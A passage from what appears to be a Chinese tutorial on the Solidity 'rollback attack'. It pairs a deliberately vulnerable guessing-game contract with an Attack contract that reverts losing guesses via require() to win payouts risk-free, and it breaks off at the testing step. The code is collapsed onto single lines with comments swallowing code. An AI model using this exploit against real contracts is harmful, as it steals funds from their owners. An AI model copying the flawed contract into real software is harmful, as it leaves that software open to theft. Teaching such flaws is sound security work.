区块链智能合约安全 | 回滚攻击

视频教程在我主页简介和专栏里

智能合约安全

回滚攻击

回滚攻击的本质是"耍赖" 举一个简单的例子,两个人玩石头剪刀布,输了的给对方10块钱,现在A输了,A说这把不算,重来

放在Solidity中,require()函数会检测其中的条件是否满足,如果不满足则回滚本次交易(或者说取消本次交易)

require()函数的用法有很多,比如你的智能合约是用来赚钱的别人交易时会将eth发送到你的合约上 require()函数可以用来判断对方是否发送了eth 是否发送了足够的eth

又或者, 你有一个提现函数, 用来将合约中的eth提现到你自己的以太坊账户中那么这个函数在调用时就要用require()检查是不是管理员发起的提现如果不检查那岂不是所有人都可以从你的合约里面提eth了吗

接下来再说耍赖是怎么一回事我们先来看这样一段代码

复制代码

contract Guess { function guess_number(uint8 number) public payable returns (bool) {
  
   require(msg.value == 1 ether); // 收取 1 eth 的参与费 uint8 num1 = 86; // 这里应该是一个随机数, 但为了方便讲解设置成一个固定值 if (number == num1) { // 如果猜对了 address payable add = payable(msg.sender); add.transfer(10 ether); return true; } else {
  
   return false; } } function draw() public payable { // 用来往合约里直接存钱的函数, 方便测试 }}

代码是一个猜数字游戏, 每次猜需要发送1eth 如果猜对了就会奖励 10 eth

与重入漏洞类似如果发起交易的是个人那么这段代码是没什么问题的但如果发起交易的是另一个合约呢? 另一个合约可以根据该合约返回的是 true 还是 false,使用 require 去回滚交易(或者说取消交易), 来"耍赖"

接下来展示一下攻击代码

复制代码

contract Attack { Guess guess; constructor(address guess_address) {
  
   guess = Guess(guess_address); } function attack(uint8 number) public {
  
   bool b = guess.guess_number{value:1 ether}(number); require(b == true, "aaa"); } function draw() public payable { // 用来往合约里直接存钱的函数, 方便测试 } fallback() external payable { }}

注意, 这里必须要有 fallback() 函数, 不然合约不能接收转来的 ether 这里的逻辑就是, 传入一个数字去猜数字, 如果猜错了, 对方返回false 那么近通过require函数去回滚交易

接下来就是测试当部署好之后向两个合约里都先存点 eth